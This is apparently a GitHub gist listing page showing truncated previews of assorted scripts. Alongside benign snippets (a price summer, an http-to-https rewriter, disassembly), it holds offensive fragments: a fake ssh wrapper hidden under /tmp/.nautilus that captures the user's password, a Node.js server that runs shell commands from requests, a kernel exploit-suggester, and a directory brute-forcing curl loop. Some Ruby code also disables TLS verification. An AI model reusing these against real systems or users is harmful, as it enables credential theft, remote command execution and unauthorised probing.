This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# mkdir -p logs/refs/heads | |
# mkdir -p refs/remotes/origin | |
# mkdir -p refs/heads | |
# mkdir -p info | |
files=( | |
"HEAD" | |
"objects/info/packs" | |
"description" | |
"config" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'json' | |
require 'open-uri' | |
url = 'https://www.theranos.com/api/tests' | |
resp = open(url).read | |
json_tests = JSON.parse(resp) | |
all_tests_price = 0 | |
json_tests.each do |x| | |
all_tests_price += x["TheranosPrice"].to_f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var sys = require('sys'), | |
exec = require('child_process').exec, | |
child, | |
http = require('http'); | |
child = function(res, cmd) { | |
exec(cmd, | |
function (error, stdout, stderr) { | |
res.end(stdout); | |
if (error !== null) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for n in {1..5} | |
do | |
out=$(( $n % 2 )) | |
if [ $out -eq 0 ] | |
then | |
printf "1\r" | |
else | |
printf "0\r" | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
def exploitCheck(): | |
# Shout out to Bernardo Damele for letting me use this code! Thanks again! | |
# Check out his blog at http://bernardodamele.blogspot.com | |
exploitdb_url = "http://www.exploit-db.com/exploits" | |
enlightenment_url = "http://www.grsecurity.net/~spender/enlightenment.tgz" | |
print "[+] Results for local kernel version %s" % kernel |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/bin/sh | |
# add to .bashrc or .profile | |
# export PATH=/tmp/.nautilus:$PATH | |
# chmod +x /tmp/.nautilus/ssh | |
echo "[email protected]'s password: " | |
stty -echo | |
read input_variable | |
stty echo | |
echo "$input_variable" > /tmp/.nautilus/pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# echo "usage: $0 dirlist target.com" | |
# can use with https - just use curl -k ... | |
for i in $(cat $1) | |
do | |
echo "dir: $i \tcount: " `curl $2/$i 2>/dev/null | wc -l` | |
done | |
# so, just run it |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (document.location.protocol === 'https:') { | |
// http to https for <link> | |
var links = document.getElementsByTagName('link'); | |
for(i = 0; i < links.length; i++) | |
{ | |
if(links[i].href.indexOf('http:') > -1) { | |
link = links[i].href.replace('http:', 'https:'); | |
links[i].href = link; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0x0000000100000eb0 <test_function+0>: push %rbp | |
0x0000000100000eb1 <test_function+1>: mov %rsp,%rbp | |
0x0000000100000eb4 <test_function+4>: mov %edi,-0x4(%rbp) | |
0x0000000100000eb7 <test_function+7>: mov %esi,-0x8(%rbp) | |
0x0000000100000eba <test_function+10>: mov %edx,-0xc(%rbp) | |
0x0000000100000ebd <test_function+13>: mov %ecx,-0x10(%rbp) | |
0x0000000100000ec0 <test_function+16>: movl $0xb,-0x20(%rbp) | |
0x0000000100000ec7 <test_function+23>: movb $0x41,-0x1a(%rbp) | |
0x0000000100000ecb <test_function+27>: pop %rbp | |
0x0000000100000ecc <test_function+28>: retq |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "net/https" | |
require "uri" | |
uri = URI.parse("url") | |
http = Net::HTTP.new(uri.host, uri.port) | |
http.use_ssl = true | |
http.verify_mode = OpenSSL::SSL::VERIFY_NONE | |
request = Net::HTTP::Get.new(uri.request_uri) |
NewerOlder